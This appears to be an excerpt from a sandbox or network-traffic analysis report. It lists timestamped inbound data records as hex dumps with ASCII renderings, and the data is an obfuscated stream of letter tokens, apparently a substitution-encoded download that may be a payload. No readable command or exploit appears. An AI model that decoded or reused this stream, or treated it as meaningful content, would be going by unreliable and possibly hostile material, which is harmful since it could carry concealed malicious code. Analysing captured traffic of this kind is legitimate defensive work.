Data Ascii:  O Xq O Ep O DM O qJO O Em O EJ O MM O qOM O XD O qOm O qOO O Eq O XD O qJq O Ep O DM O 
mM O qOm O MX O qOM O EX O qqq O MO O XX O EX O mX O MO O XX O Ep O qJO O DM O DX O DW O EM O DD 
O qOp O EX O XD O DD O DW O MM O Xm O DD O mM O EX O qOm O MX O Eq O M

2021-10-29 15:55:26 UTC 1127 IN Data Raw: 20 4f 20 6d 4d 20 4f 20 58 44 20 4f 20 58 6d 20 4f 20 58 4a 20 4f 20 58 44 20 4f 20 45 6d 20 4f 20 58 57 20 4f 
20 4d 4d 20 4f 20 71 71 4f 20 4f 20 58 44 20 4f 20 71 4a 4a 20 4f 20 71 4f 4f 20 4f 20 45 4f 20 4f 20 45 6d 20 4f 20 58 6d 
20 4f 20 58 71 20 4f 20 58 57 20 4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 20 58 4a 20 4f 20 71 
71 4a 20 4f 20 4d 4f 20 4f 20 71 4f 4d 20 4f 20 71 4f 58 20 4f 20 71 4f 44 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 58 4a 20 
4f 20 71 71 4a 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 57 70 20 4f 20 44 44 20 4f 20 71 4f 4f 20 4f 20 58 58 20 4f 20 58 4a 
20 4f 20 71 71 71 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 45 6d 20 4f 20 71 71 4a 20 4f 20 71 4f 4f 20 4f 20 45 4a 20 4f 20 
71 4f 45 20 4f 20 71 71 45 20 4f 20 58 
Data Ascii:  O mM O XD O Xm O XJ O XD O Em O XW O MM O qqO O XD O qJJ O qOO O EO O Em O Xm O Xq O XW 
O EX O qOX O MM O qqO O XJ O qqJ O MO O qOM O qOX O qOD O XM O XX O XJ O qqJ O MX O WO O Wp O DD 
O qOO O XX O XJ O qqq O MX O Wq O Em O qqJ O qOO O EJ O qOE O qqE O X

2021-10-29 15:55:26 UTC 1130 IN Data Raw: 4f 20 57 71 20 4f 20 71 4f 4a 20 4f 20 44 4d 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 71 4a 4a 20 4f 20 58 58 
20 4f 20 44 45 20 4f 20 6d 70 20 4f 20 45 4d 20 4f 20 71 71 6d 20 4f 20 45 6d 20 4f 20 58 44 20 4f 20 58 45 20 4f 20 71 71 
4f 20 4f 20 71 4f 70 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 45 44 20 4f 20 71 71 44 20 4f 20 71 71 58 20 4f 20 44 57 20 
4f 20 71 4a 4f 20 4f 20 44 57 20 4f 20 71 4f 58 20 4f 20 71 4f 4f 20 4f 20 71 4a 4f 20 4f 20 58 57 20 4f 20 6d 58 20 4f 20 71 
4f 57 20 4f 20 71 71 58 20 4f 20 71 4f 45 20 4f 20 57 4f 20 4f 20 71 4a 4a 20 4f 20 44 4d 20 4f 20 45 4d 20 4f 20 58 70 20 
4f 20 57 70 20 4f 20 45 44 20 4f 20 71 71 4a 20 4f 20 58 4f 20 4f 20 57 44 20 4f 20 58 45 20 4f 20 45 57 20 4f 20 58 6d 20 
4f 20 45 57 20 4f 20 44 45 20 4f 20 
Data Ascii: O Wq O qOJ O DM O qqD O ED O qJJ O XX O DE O mp O EM O qqm O Em O XD O XE O qqO O qOp O 
mp O qqX O ED O qqD O qqX O DW O qJO O DW O qOX O qOO O qJO O XW O mX O qOW O qqX O qOE O WO O 
qJJ O DM O EM O Xp O Wp O ED O qqJ O XO O WD O XE O EW O Xm O EW O DE O 

2021-10-29 15:55:26 UTC 1134 IN Data Raw: 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 71 57 20 4f 20 71 4f 58 20 4f 20 58 70 20 4f 20 57 6d 20 4f 20 71 4f 
57 20 4f 20 71 71 4f 20 4f 20 57 57 20 4f 20 57 4a 20 4f 20 57 70 20 4f 20 71 4f 45 20 4f 20 57 57 20 4f 20 71 4a 71 20 4f 
20 71 71 71 20 4f 20 4d 4f 20 4f 20 71 71 4f 20 4f 20 57 45 20 4f 20 57 71 20 4f 20 57 6d 20 4f 20 44 45 20 4f 20 71 4a 4f 
20 4f 20 71 4f 4a 20 4f 20 71 71 6d 20 4f 20 58 70 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 71 71 58 20 4f 20 45 70 20 4f 20 
71 4f 44 20 4f 20 57 6d 20 4f 20 45 6d 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 45 45 20 4f 20 71 4f 4a 20 4f 20 44 44 20 4f 
20 57 71 20 4f 20 58 4d 20 4f 20 71 71 71 20 4f 20 58 58 20 4f 20 71 71 71 20 4f 20 6d 58 20 4f 20 45 4a 20 4f 20 4d 4f 20 
4f 20 71 4f 4a 20 4f 20 71 4f 4d 20 4f 
Data Ascii:  O DE O EX O qqW O qOX O Xp O Wm O qOW O qqO O WW O WJ O Wp O qOE O WW O qJq O qqq O MO 
O qqO O WE O Wq O Wm O DE O qJO O qOJ O qqm O Xp O mp O DX O qqX O Ep O qOD O Wm O Em O MX O WO 
O EE O qOJ O DD O Wq O XM O qqq O XX O qqq O mX O EJ O MO O qOJ O qOM O

2021-10-29 15:55:26 UTC 1138 IN Data Raw: 20 4f 20 45 57 20 4f 20 71 71 71 20 4f 20 4d 4f 20 4f 20 45 70 20 4f 20 71 4f 6d 20 4f 20 71 71 58 20 4f 20 4d 
4d 20 4f 20 45 58 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 
20 4f 20 71 71 4d 20 4f 20 71 4f 4a 20 4f 20 58 6d 20 4f 20 44 4d 20 4f 20 45 44 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 
4f 45 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 44 4d 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 
45 45 20 4f 20 44 45 20 4f 20 58 4a 20 4f 20 6d 58 20 4f 20 45 70 20 4f 20 71 4a 4f 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 
20 44 57 20 4f 20 4d 4f 20 4f 20 44 44 20 4f 20 71 4f 70 20 4f 20 45 58 20 4f 20 58 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 
20 71 4f 70 20 4f 20 58 6d 20 4f 20 44 
Data Ascii:  O EW O qqq O MO O Ep O qOm O qqX O MM O EX O DW O Xq O DM O EE O DD O Xq O DW O qqM O q
OJ O Xm O DM O ED O EE O DW O qOE O Eq O DW O mM O XW O DM O DD O qOm O EE O DE O XJ O mX O Ep O 
qJO O Eq O qJJ O DW O MO O DD O qOp O EX O XD O DD O DW O qOp O Xm O D

Timestamp
kBytes
transferred Direction Data
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2021-10-29 15:55:26 UTC 1142 IN Data Raw: 45 20 4f 20 71 4f 44 20 4f 20 71 4f 44 20 4f 20 71 4f 58 20 4f 20 4d 45 20 4f 20 71 4f 58 20 4f 20 44 4d 20 4f 20 
57 6d 20 4f 20 4d 45 20 4f 20 57 4a 20 4f 20 58 45 20 4f 20 4d 4d 20 4f 20 58 6d 20 4f 20 45 57 20 4f 20 44 45 20 4f 20 58 
4d 20 4f 20 44 45 20 4f 20 45 71 20 4f 20 71 4f 58 20 4f 20 4d 58 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 4d 4d 20 4f 20 
71 71 70 20 4f 20 45 71 20 4f 20 71 4f 4f 20 4f 20 44 45 20 4f 20 58 44 20 4f 20 71 4f 45 20 4f 20 57 4a 20 4f 20 71 71 57 
20 4f 20 57 57 20 4f 20 4d 45 20 4f 20 57 4a 20 4f 20 71 71 71 20 4f 20 45 4f 20 4f 20 44 45 20 4f 20 58 70 20 4f 20 71 71 
4f 20 4f 20 58 4d 20 4f 20 6d 4d 20 4f 20 71 71 44 20 4f 20 71 71 6d 20 4f 20 4d 58 20 4f 20 57 4a 20 4f 20 57 71 20 4f 20 
45 44 20 4f 20 57 6d 20 4f 20 58 58 
Data Ascii: E O qOD O qOD O qOX O ME O qOX O DM O Wm O ME O WJ O XE O MM O Xm O EW O DE O XM O DE 
O Eq O qOX O MX O DD O qqE O MM O qqp O Eq O qOO O DE O XD O qOE O WJ O qqW O WW O ME O WJ O qqq 
O EO O DE O Xp O qqO O XM O mM O qqD O qqm O MX O WJ O Wq O ED O Wm O XX

2021-10-29 15:55:26 UTC 1146 IN Data Raw: 20 71 4f 4d 20 4f 20 45 58 20 4f 20 71 4a 71 20 4f 20 71 4f 4f 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 71 4f 44 20
4f 20 44 44 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 71 71 6d 20 4f 20 44 44 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 
45 4f 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 4d 20 4f 20 
58 58 20 4f 20 4d 45 20 4f 20 45 4a 20 4f 20 58 4a 20 4f 20 6d 58 20 4f 20 4d 4d 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 
71 71 58 20 4f 20 45 44 20 4f 20 57 4f 20 4f 20 57 45 20 4f 20 71 4f 44 20 4f 20 4d 4d 20 4f 20 57 71 20 4f 20 44 57 20 4f 
20 71 71 45 20 4f 20 4d 4d 20 4f 20 57 4f 20 4f 20 58 44 20 4f 20 71 4f 44 20 4f 20 71 4f 4f 20 4f 20 45 71 20 4f 20 71 4f 58
20 4f 20 71 71 4f 20 4f 20 4d 58 
Data Ascii:  qOM O EX O qJq O qOO O DX O DW O qOD O DD O qOp O qOp O qqm O DD O qOp O DM O EO O DD O 
Xq O MM O qqM O DW O XM O XM O XX O ME O EJ O XJ O mX O MM O DX O qqq O qqX O ED O WO O WE O qOD 
O MM O Wq O DW O qqE O MM O WO O XD O qOD O qOO O Eq O qOX O qqO O MX

2021-10-29 15:55:26 UTC 1151 IN Data Raw: 20 4f 20 71 4f 4d 20 4f 20 45 4a 20 4f 20 58 4a 20 4f 20 57 44 20 4f 20 71 71 70 20 4f 20 58 57 20 4f 20 58 4d 
20 4f 20 57 4f 20 4f 20 71 71 4a 20 4f 20 57 71 20 4f 20 71 4f 70 20 4f 20 71 71 44 20 4f 20 71 71 45 20 4f 20 58 6d 20 4f 
20 44 57 20 4f 20 45 58 20 4f 20 44 44 20 4f 20 71 4f 70 20 4f 20 71 4f 45 20 4f 20 71 71 70 20 4f 20 71 4f 6d 20 4f 20 71 
4f 45 20 4f 20 71 4f 57 20 4f 20 45 71 20 4f 20 57 45 20 4f 20 71 71 4d 20 4f 20 6d 58 20 4f 20 44 44 20 4f 20 44 57 20 4f 
20 58 71 20 4f 20 71 71 4d 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 45 20 4f 20 44 44 20 4f 20 71 4f 57 20 
4f 20 44 58 20 4f 20 44 4d 20 4f 20 45 44 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 4f 45 20 4f 20 45 71 20 4f 20 44 57 20 
4f 20 6d 4d 20 4f 20 58 57 20 4f 20 44 
Data Ascii:  O qOM O EJ O XJ O WD O qqp O XW O XM O WO O qqJ O Wq O qOp O qqD O qqE O Xm O DW O EX O 
DD O qOp O qOE O qqp O qOm O qOE O qOW O Eq O WE O qqM O mX O DD O DW O Xq O qqM O EO O DW O DX 
O DE O DD O qOW O DX O DM O ED O EE O DW O qOE O Eq O DW O mM O XW O D

2021-10-29 15:55:26 UTC 1155 IN Data Raw: 71 4f 4a 20 4f 20 57 45 20 4f 20 45 45 20 4f 20 4d 45 20 4f 20 71 4a 4a 20 4f 20 57 70 20 4f 20 71 4a 71 20 4f 
20 45 70 20 4f 20 58 57 20 4f 20 58 58 20 4f 20 71 4a 4f 20 4f 20 57 57 20 4f 20 71 4f 70 20 4f 20 71 71 4a 20 4f 20 45 71 
20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 71 71 4a 20 4f 20 45 44 20 4f 20 6d 58 20 4f 20 4d 58 20 4f 20 71 4f 44 20 4f 20 57 
71 20 4f 20 71 4f 4f 20 4f 20 71 71 45 20 4f 20 58 4a 20 4f 20 58 58 20 4f 20 57 70 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 
45 58 20 4f 20 71 4f 44 20 4f 20 57 4a 20 4f 20 45 4d 20 4f 20 45 45 20 4f 20 45 71 20 4f 20 4d 4d 20 4f 20 71 71 6d 20 4f 
20 58 4a 20 4f 20 71 71 6d 20 4f 20 4d 4d 20 4f 20 6d 4d 20 4f 20 71 71 6d 20 4f 20 57 70 20 4f 20 4d 45 20 4f 20 6d 70 20
4f 20 57 4f 20 4f 20 71 4f 45 20 4f 20 
Data Ascii: qOJ O WE O EE O ME O qJJ O Wp O qJq O Ep O XW O XX O qJO O WW O qOp O qqJ O Eq O ME O Xq O 
qqJ O ED O mX O MX O qOD O Wq O qOO O qqE O XJ O XX O Wp O WD O mE O EX O qOD O WJ O EM O EE O Eq 
O MM O qqm O XJ O qqm O MM O mM O qqm O Wp O ME O mp O WO O qOE O 

2021-10-29 15:55:26 UTC 1159 IN Data Raw: 20 4f 20 45 71 20 4f 20 45 71 20 4f 20 58 45 20 4f 20 71 4f 6d 20 4f 20 6d 58 20 4f 20 71 4f 4f 20 4f 20 45 4a 20
4f 20 44 57 20 4f 20 57 6d 20 4f 20 45 44 20 4f 20 71 4a 71 20 4f 20 57 45 20 4f 20 71 71 58 20 4f 20 58 4d 20 4f 20 57 71 
20 4f 20 45 58 20 4f 20 71 71 4d 20 4f 20 45 44 20 4f 20 71 71 4f 20 4f 20 58 44 20 4f 20 71 4a 4a 20 4f 20 4d 4f 20 4f 20 
58 58 20 4f 20 45 6d 20 4f 20 6d 58 20 4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 20 58 44 20 4f 20 71 4a 4a 20 4f 20 71 4f 4f 20 
4f 20 44 45 20 4f 20 57 70 20 4f 20 71 4f 44 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 6d 58 20 4f 20 71 71 4d 20 4f 20 44 58 
20 4f 20 58 71 20 4f 20 58 4d 20 4f 20 45 6d 20 4f 20 45 57 20 4f 20 71 71 71 20 4f 20 4d 4f 20 4f 20 45 70 20 4f 20 71 4f 
6d 20 4f 20 71 71 58 20 4f 20 4d 4d 
Data Ascii:  O Eq O Eq O XE O qOm O mX O qOO O EJ O DW O Wm O ED O qJq O WE O qqX O XM O Wq O EX O q
qM O ED O qqO O XD O qJJ O MO O XX O Em O mX O MM O qqO O XD O qJJ O qOO O DE O Wp O qOD O MX O 
WO O mX O qqM O DX O Xq O XM O Em O EW O qqq O MO O Ep O qOm O qqX O MM

2021-10-29 15:55:26 UTC 1162 IN Data Raw: 4f 20 4f 20 71 71 45 20 4f 20 45 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 45 57 20 4f 20 71 4f 44 20 4f 20 58 
6d 20 4f 20 71 4f 70 20 4f 20 57 71 20 4f 20 71 71 70 20 4f 20 71 4f 44 20 4f 20 57 70 20 4f 20 58 4f 20 4f 20 45 4d 20 4f 
20 4d 58 20 4f 20 44 44 20 4f 20 45 45 20 4f 20 45 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 45 71 
20 4f 20 45 45 20 4f 20 71 71 57 20 4f 20 6d 45 20 4f 20 45 4f 20 4f 20 71 71 4d 20 4f 20 58 45 20 4f 20 44 57 20 4f 20 45 
57 20 4f 20 71 4f 44 20 4f 20 58 71 20 4f 20 71 4a 4f 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 71 71 70 20 4f 20 44 4d 20 4f 
20 4d 4f 20 4f 20 6d 58 20 4f 20 71 4f 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 4d 45 20 4f 20 71 4f 4d 20 4f 20 4d 58 
20 4f 20 58 6d 20 4f 20 45 6d 20 4f 20 
Data Ascii: O O qqE O EW O DD O qOX O EW O qOD O Xm O qOp O Wq O qqp O qOD O Wp O XO O EM O MX O DD 
O EE O ED O qqX O DW O qqq O Eq O EE O qqW O mE O EO O qqM O XE O DW O EW O qOD O Xq O qJO O EJ O 
mE O qqp O DM O MO O mX O qOq O DD O qqW O ME O qOM O MX O Xm O Em O 

2021-10-29 15:55:26 UTC 1166 IN Data Raw: 4f 20 44 4d 20 4f 20 44 57 20 4f 20 71 4a 4f 20 4f 20 45 45 20 4f 20 71 4f 58 20 4f 20 58 44 20 4f 20 58 44 20 4f
20 45 58 20 4f 20 45 4f 20 4f 20 58 57 20 4f 20 71 4f 58 20 4f 20 58 4a 20 4f 20 71 4a 71 20 4f 20 71 4f 4f 20 4f 20 58 58 
20 4f 20 45 58 20 4f 20 6d 58 20 4f 20 45 70 20 4f 20 45 4f 20 4f 20 45 6d 20 4f 20 58 6d 20 4f 20 58 71 20 4f 20 58 70 20 
4f 20 44 44 20 4f 20 44 58 20 4f 20 4d 4f 20 4f 20 58 58 20 4f 20 45 6d 20 4f 20 6d 58 20 4f 20 4d 45 20 4f 20 58 45 20 4f 
20 4d 4f 20 4f 20 71 71 4a 20 4f 20 58 4d 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 6d 58 20 4f 20 4d 45 20 4f 20 58 45 20 4f 
20 57 45 20 4f 20 71 71 45 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 45 4f 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 45 71 20 4
f 20 71 4f 6d 20 4f 20 71 71 58 20 
Data Ascii: O DM O DW O qJO O EE O qOX O XD O XD O EX O EO O XW O qOX O XJ O qJq O qOO O XX O EX O m
X O Ep O EO O Em O Xm O Xq O Xp O DD O DX O MO O XX O Em O mX O ME O XE O MO O qqJ O XM O WO O EO 
O mX O ME O XE O WE O qqE O Ep O DM O EO O mM O qOO O Eq O qOm O qqX 

2021-10-29 15:55:26 UTC 1170 IN Data Raw: 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 
57 20 4f 20 44 71 20 4f 20 44 71 20 4f 20 4f 20 4d 20 6d 44 20 4f 20 71 4f 71 20 4f 20 71 4a 4f 20 4f 20 71 4f 71 20 4f 20 4f
20 71 70 20 71 4a 70 20 4f 20 6d 58 20 4f 20 71 4a 57 20 4f 20 71 4a 70 20 4f 20 6d 4d 20 4f 20 71 4a 57 20 4f 20 4f 20 71 
57 20 71 4a 70 20 4f 20 6d 58 20 4f 20 71 4a 57 20 4f 20 4d 4a 20 4f 20 71 4a 70 20 4f 20 6d 4d 20 4f 20 71 4a 57 20 4f 20 
4f 20 71 4a 58 20 4a 4a 71 20 6d 45 20 4f 20 44 4d 20 4f 20 58 58 20 4f 20 44 4d 20 4f 20 45 4f 20 4f 20 71 4f 57 20 4f 20 
71 4f 58 20 4f 20 71 4f 71 20 4f 20 71 71 4f 20 4f 20 4d 45 20 4f 20 71 4f 4d 20 4f 20 71 4f 71 20 4f 20 70 4a 20 4f 20 70 6d
20 4f 20 71 4a 70 20 4f 20 6d 58 
Data Ascii:  DW O DW O DW O DW O DW O DW O DW O DW O Dq O Dq O O M mD O qOq O qJO O qOq O O qp qJp 
O mX O qJW O qJp O mM O qJW O O qW qJp O mX O qJW O MJ O qJp O mM O qJW O O qJX JJq mE O DM O XX O 
DM O EO O qOW O qOX O qOq O qqO O ME O qOM O qOq O pJ O pm O qJp O mX

Timestamp
kBytes
transferred Direction Data
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2021-10-29 15:55:26 UTC 1174 IN Data Raw: 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 71 4f 6d 20 4f 20 71 4a 71 20 4f 20 71 4f 
4a 20 4f 20 71 4f 71 20 4f 20 71 71 6d 20 4f 20 71 4a 4f 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 4f 4f 
20 4f 20 71 71 4d 20 4f 20 4d 4d 20 4f 20 71 4f 71 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 
20 71 71 6d 20 4f 20 71 71 6d 20 4f 20 71 71 45 20 4f 20 71 4f 70 20 4f 20 71 71 58 20 4f 20 71 4a 71 20 4f 20 4d 58 20 4f 
20 71 4f 58 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 44 71 20 4f 20 70 45 20 4f 20 71 4a 4a 20 4f 20 71 4f 44 20 4f 20 71 
71 44 20 4f 20 71 4f 6d 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 71 71 57 20 4f 20 71 4f 4d 20 4f 20 71 71 71 20 4f 20 70
45 20 4f 20 70 4a 20 4f 20 70 45 20 
Data Ascii: O pE O ME O pE O qJq O qOm O qJq O qOJ O qOq O qqm O qJO O pE O qqm O pE O qOO O qqM O MM O 
qOq O qJJ O pE O qqD O pE O qqm O qqm O qqE O qOp O qqX O qJq O MX O qOX O qqJ O pE O Dq O pE O qJJ O 
qOD O qqD O qOm O qOO O qOq O qqW O qOM O qqq O pE O pJ O pE 

2021-10-29 15:55:26 UTC 1178 IN Data Raw: 4f 20 4f 20 71 4f 4d 20 4f 20 71 4f 58 20 4f 20 71 4f 44 20 4f 20 71 4f 57 20 4f 20 71 71 45 20 4f 20 70 45 20 4f 
20 71 71 44 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 71 71 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 45 20 4f 20 71 4f 4a 20 4f 
20 71 71 57 20 4f 20 71 71 4d 20 4f 20 71 4a 4f 20 4f 20 71 4a 4a 20 4f 20 71 4f 71 20 4f 20 71 4f 4d 20 4f 20 71 4f 4a 20 
4f 20 71 71 4a 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 71 4f 45 20 4f 20 
71 4a 4f 20 4f 20 71 71 4f 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 4d 
45 20 4f 20 71 4a 4f 20 4f 20 71 4f 45 20 4f 20 71 4a 4f 20 4f 20 71 4a 4f 20 4f 20 71 4f 45 20 4f 20 71 71 6d 20 4f 20 71 7
1 4d 20 4f 20 71 4f 4f 20 4f 20 71 
Data Ascii: O O qOM O qOX O qOD O qOW O qqE O pE O qqD O pE O qOX O qqJ O qOJ O qOE O qOJ O qqW O qqM 
O qJO O qJJ O qOq O qOM O qOJ O qqJ O qqJ O pE O qqq O pE O ME O qOE O qJO O qqO O qqq O pE O qqJ O pE 
O qqD O ME O qJO O qOE O qJO O qJO O qOE O qqm O qqM O qOO O q

2021-10-29 15:55:26 UTC 1183 IN Data Raw: 58 20 4f 20 71 71 4f 20 4f 20 71 4f 70 20 4f 20 71 71 70 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 71 4f 57 20 4f 
20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 71 71 4f 20 4f 20 71 4f 58 20 4f 20 
71 71 4d 20 4f 20 71 4f 6d 20 4f 20 71 4f 4a 20 4f 20 71 71 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 70 
45 20 4f 20 71 71 4d 20 4f 20 71 71 71 20 4f 20 71 71 70 20 4f 20 4d 4d 20 4f 20 71 71 6d 20 4f 20 71 4f 6d 20 4f 20 71 4f 
70 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 4f 45 20 4f 20 71 71 4f 20 4f 20 71 71 4a 
20 4f 20 71 71 58 20 4f 20 71 4a 4f 20 4f 20 71 71 4d 20 4f 20 71 4f 71 20 4f 20 71 71 44 20 4f 20 71 71 70 20 4f 20 71 71 
4f 20 4f 20 71 71 58 20 4f 20 70 45 
Data Ascii: X O qqO O qOp O qqp O qJO O MM O qOW O qJJ O pE O qqO O pE O qJq O qqO O qOX O qqM O qOm O 
qOJ O qqE O ME O pE O qOJ O pE O qqM O qqq O qqp O MM O qqm O qOm O qOp O pE O qOW O pE O qqD O qOE 
O qqO O qqJ O qqX O qJO O qqM O qOq O qqD O qqp O qqO O qqX O pE

2021-10-29 15:55:26 UTC 1187 IN Data Raw: 70 45 20 4f 20 71 71 70 20 4f 20 71 71 58 20 4f 20 71 4a 4a 20 4f 20 71 4f 71 20 4f 20 71 71 58 20 4f 20 71 71 
4f 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 4f 4d 20 4f 20 71 4f 58 20 4f 20 71 71 44 20 4f 20 71 71 58 20 
4f 20 71 4f 57 20 4f 20 71 71 70 20 4f 20 71 4f 44 20 4f 20 71 4f 58 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 71 4a 4f 20 
4f 20 71 71 58 20 4f 20 71 4f 4d 20 4f 20 70 45 20 4f 20 58 70 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 4f 71 20 4f 20 
71 71 6d 20 4f 20 4d 45 20 4f 20 71 71 4a 20 4f 20 71 4f 6d 20 4f 20 71 4f 6d 20 4f 20 71 71 4a 20 4f 20 71 71 70 20 4f 20 
4d 45 20 4f 20 71 71 4d 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 71 
58 20 4f 20 71 4f 45 20 4f 20 71 71 
Data Ascii: pE O qqp O qqX O qJJ O qOq O qqX O qqO O pE O MM O pE O qOM O qOX O qqD O qqX O qOW O qqp O 
qOD O qOX O qOO O qOq O qJO O qqX O qOM O pE O Xp O pE O qOD O qOq O qqm O ME O qqJ O qOm O qOm O 
qqJ O qqp O ME O qqM O qqX O pE O qqX O pE O qOD O qqX O qOE O qq

2021-10-29 15:55:26 UTC 1191 IN Data Raw: 20 71 4a 4a 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 4f 58 20 
4f 20 71 4f 57 20 4f 20 71 4a 4f 20 4f 20 71 71 70 20 4f 20 71 4f 57 20 4f 20 4d 58 20 4f 20 71 4f 4f 20 4f 20 4d 45 20 4f 20 
71 4f 4f 20 4f 20 71 71 45 20 4f 20 71 71 70 20 4f 20 71 71 58 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 71 71 45 20 4f 20 
70 45 20 4f 20 71 4a 4f 20 4f 20 71 4a 4a 20 4f 20 71 71 71 20 4f 20 71 71 57 20 4f 20 71 4a 71 20 4f 20 71 71 44 20 4f 20 
70 45 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 4a 4a 20 4f 20 71 71 4d 20 4f 20 71 4f 44 20 4f 20 71 4f 71 20 4f 20 71 
71 6d 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 4d 4d 20 4f 20 71 4f 57 20 4f 20 71 71 45 20 
4f 20 71 4a 4a 20 4f 20 70 45 20 4f 
Data Ascii:  qJJ O MM O pE O MM O pE O qOD O qOX O qOW O qJO O qqp O qOW O MX O qOO O ME O qOO O qqE 
O qqp O qqX O qOJ O pE O qqE O pE O qJO O qJJ O qqq O qqW O qJq O qqD O pE O qqm O pE O qJJ O qqM O qOD 
O qOq O qqm O pE O qOW O pE O MM O MM O qOW O qqE O qJJ O pE O

2021-10-29 15:55:26 UTC 1194 IN Data Raw: 20 4f 20 71 4f 4f 20 4f 20 71 71 71 20 4f 20 71 71 71 20 4f 20 4d 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 
70 20 4f 20 71 4f 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 71 4f 58 20 4f 20 71 4f 4f 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 
20 71 71 57 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 71 4a 71 20 4f 20 71 4f 57 20 4f 20 71 4f 57 20 4f 20 71 71 70 20 4f 
20 4d 4d 20 4f 20 71 4a 4f 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 71 71 
45 20 4f 20 71 4f 4a 20 4f 20 71 71 58 20 4f 20 71 4f 57 20 4f 20 71 4f 71 20 4f 20 71 4a 71 20 4f 20 71 4f 57 20 4f 20 71 
4a 4a 20 4f 20 71 4a 4f 20 4f 20 71 71 44 20 4f 20 71 4a 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 58 20 4f 20 70 45 20 4f 20 70 4
a 20 4f 20 70 45 20 4f 20 4d 58 20 
Data Ascii:  O qOO O qqq O qqq O ME O ME O pE O qp O qO O pE O qOX O qOX O qOO O qqm O pE O qqW O pE O 
qqq O qJq O qOW O qOW O qqp O MM O qJO O qqq O pE O MM O pE O qqO O qqE O qOJ O qqX O qOW O qOq O 
qJq O qOW O qJJ O qJO O qqD O qJO O qOD O qOX O pE O pJ O pE O MX 

2021-10-29 15:55:26 UTC 1198 IN Data Raw: 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 4a 71 20 4f 20 71 4f 70 20 4f 20 4d 4d 20 4f 20 
71 4f 6d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20 71 71 71 20 4f 20 71 71 71 20 4f 20 71 4f 44 20 4f 20 70 45 20 4f 20 
